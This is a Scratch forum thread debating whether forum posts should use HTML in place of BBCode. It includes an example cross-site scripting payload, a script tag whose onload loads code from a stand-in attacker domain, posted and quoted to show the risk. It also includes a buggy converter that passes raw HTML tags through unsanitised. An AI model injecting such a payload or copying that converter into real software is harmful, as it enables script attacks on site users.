make forums use HTML instead of BBcode

space_elephant

BBcode is missing many features needed by a forum. I think that switching to HTML can fix this.
There are only a few modifications that are needed first:

<DOCTYPE html>
The doctype, html, and body tags should not be needed.

BODY CODE

should become

<DOCTYPE html>
<html>
  <body>
    BODY CODE
  </body>
</html>

This requires seperate code for the <head>

<head>
  HEAD CODE
</head>
BODY CODE

should be

<DOCTYPE html>
<html>
  <head>
    HEAD CODE
  </head>
  <body>
    BODY CODE
  </body>
</html>

not

<DOCTYPE html>
<html>
  <body>
    <head>
      HEAD CODE
    </head>
    BODY CODE
  </body>
</html>

Inkulumo

No support BBCode is fine and most Scratchers don't understand nor wish to learn HTML syntax.

-ShadowOfTheFuture-

How would you prevent this from breaking every previously-made forum post?

space_elephant

-ShadowOfTheFuture- wrote:
How would you prevent this from breaking every previously-made forum post?

var result = [];
var char;
var open;
for (var index=0; index<str.length; indx ++) {
  char = str[index];
  if (char === '[') {
    open = index;
    result.push(char);
  } else if (char === ']') {
    result[open] = '<';
    result.push('>');
  } else if (char === '&') {// XML escapes
    result.push('&amp;');
  } else if (char === "'") {// XML escapes
    result.push('&apos;');
  } else if (char === '"') {// XML escapes
    result.push('&quot;');
  } else if (char === '<') {// XML escapes
    result.push('&lt;');
  } else if (char === '>') {// XML escapes
    result.push('&gt;');
  } else {
    result.push(char);
  }
}

colinmacc

I like bbcode! Sorry

Inkulumo

Inkulumo wrote:
No support BBCode is fine and most Scratchers don't understand nor wish to learn HTML syntax.

Seriously, why?

DownsGameClub

BBCode is a common format that many forum softwares use. In general, there are tons of features that you can use - some of them simply aren't enabled because there is no need to have them on Scratch.

Also, not sure if this is true, but I think you can insert snippets of code into HTML that could possibly run viruses if this is implemented…

space_elephant

DownsGameClub wrote:
BBCode is a common format that many forum softwares use. In general, there are tons of features that you can use - some of them simply aren't enabled because there is no need to have them on Scratch.

Also, not sure if this is true, but I think you can insert snippets of code into HTML that could possibly run viruses if this is implemented…

<script src="https://scratch.mit.edu/a/perfectly/reasonable/script/url.js" onload="var script=document.createElement('script'); script.src='https://cross.site.scripter.com/myScript.js'; document.head.appendChild(script);"/>

The javascript is

var script=document.createElement('script');
script.src='https://cross.site.scripter.com/myScript.js';
document.head.appendChild(script);

which adds a

<script src="https://cross.site.scripter.com/myScript.js"/>

to the head.

Inkulumo

space_elephant wrote:
DownsGameClub wrote:
BBCode is a common format that many forum softwares use. In general, there are tons of features that you can use - some of them simply aren't enabled because there is no need to have them on Scratch.

Also, not sure if this is true, but I think you can insert snippets of code into HTML that could possibly run viruses if this is implemented…
<script> tags should only be available if the src is a scratch js file, as in the OP.

Also, the onload attribute should be limited as much as possible, to prevent things like
<script src="https://scratch.mit.edu/a/perfectly/reasonable/script/url.js" onload="var script=document.createElement('script'); script.src='https://cross.site.scripter.com/myScript.js'; document.head.appendChild(script);"/>
The javascript is
var script=document.createElement('script');
script.src='https://cross.site.scripter.com/myScript.js';
document.head.appendChild(script);
which adds a
<script src="https://cross.site.scripter.com/myScript.js"/>
to the head.

ok but this is overly complicated and we really should just keep bbcode. why do you push html?

Epicness123

Why do we need HTML? I don’t see anything wrong with BBcode.

katixirro

BBcode is usually used on forums and stuff like this, and anyway, it would be too confusing and impossible to type anything. (it’s a good idea but I don’t think it would work on here

)

CaptainRatlex

I would suggest to use both, users can chose

space_elephant

CaptainRatlex wrote:
I would suggest to use both, users can chose

Support to this.

katixirro wrote:
it would be too confusing and impossible to type anything.

I disagree on this point because if I didn't care about usability, I wouldn't have made a suggestion. That's what suggestions are for.

space_elephant

Inkulumo wrote:
space_elephant wrote:
DownsGameClub wrote:
BBCode is a common format that many forum softwares use. In general, there are tons of features that you can use - some of them simply aren't enabled because there is no need to have them on Scratch.

Also, not sure if this is true, but I think you can insert snippets of code into HTML that could possibly run viruses if this is implemented…
<script> tags should only be available if the src is a scratch js file, as in the OP.

Also, the onload attribute should be limited as much as possible, to prevent things like
<script src="https://scratch.mit.edu/a/perfectly/reasonable/script/url.js" onload="var script=document.createElement('script'); script.src='https://cross.site.scripter.com/myScript.js'; document.head.appendChild(script);"/>
The javascript is
var script=document.createElement('script');
script.src='https://cross.site.scripter.com/myScript.js';
document.head.appendChild(script);
which adds a
<script src="https://cross.site.scripter.com/myScript.js"/>
to the head.
ok but this is overly complicated and we really should just keep bbcode. why do you push html?

Because HTML is easier to remember, and has enough power for scratch.

Vaibhs11

I don't (at least there are some) understand what's the difference. Like <> turn into but BBcode is 25% easier with no confusing syntax and words. That's why everyone supports BBcode. I can spot that because I'm an intermediate in HTML and CSS and I support what CaptainRatlex said

CaptainRatlex wrote:
I suggest to use both, users can choose

I love both

Last edited by Vaibhs11 (Sept. 15, 2020 02:15:00)

TapingAnimations

no support, there are many kids like me using the forums and most of the kids (Including me) don't know how to use html, BBcode is fine and it would be very confusing to use html (For kids), plus in all of the Forums I went to they all used BBcode.

scratch978654

TapingAnimations wrote:
no support, there are many kids like me using the forums and most of the kids (Including me) don't know how to use html, BBcode is fine and it would be very confusing to use html (For kids), plus in all of the Forums I went to they all used BBcode.

Why's everyone underestimating kids.
Guess my age. For one thing it's less than 13.
I'm at an advanced level in HTML, CSS and js.
Besides, I support. It helps people learn HTML and it's really just replacing [b] with <b>.

TapingAnimations

scratch978654 wrote:
TapingAnimations wrote:
no support, there are many kids like me using the forums and most of the kids (Including me) don't know how to use html, BBcode is fine and it would be very confusing to use html (For kids), plus in all of the Forums I went to they all used BBcode.
Why's everyone underestimating kids.
Guess my age. For one thing it's less than 13.
I'm at an advanced level in HTML, CSS and js.
Besides, I support. It helps people learn HTML and it's really just replacing [b] with <b>.

I'm just 10 and were not even learning Html at School

-InsanityPlays-

<opinions>I don't think they should ONLY use HTML but maybe both languages?</opinions>

TapingAnimations

scratch978654 wrote:
TapingAnimations wrote:
no support, there are many kids like me using the forums and most of the kids (Including me) don't know how to use html, BBcode is fine and it would be very confusing to use html (For kids), plus in all of the Forums I went to they all used BBcode.
Why's everyone underestimating kids.
Guess my age. For one thing it's less than 13.
I'm at an advanced level in HTML, CSS and js.
Besides, I support. It helps people learn HTML and it's really just replacing [b] with <b>.

And what does CSS and js ,mean? I never heard of it

Last edited by TapingAnimations (Sept. 15, 2020 06:51:48)

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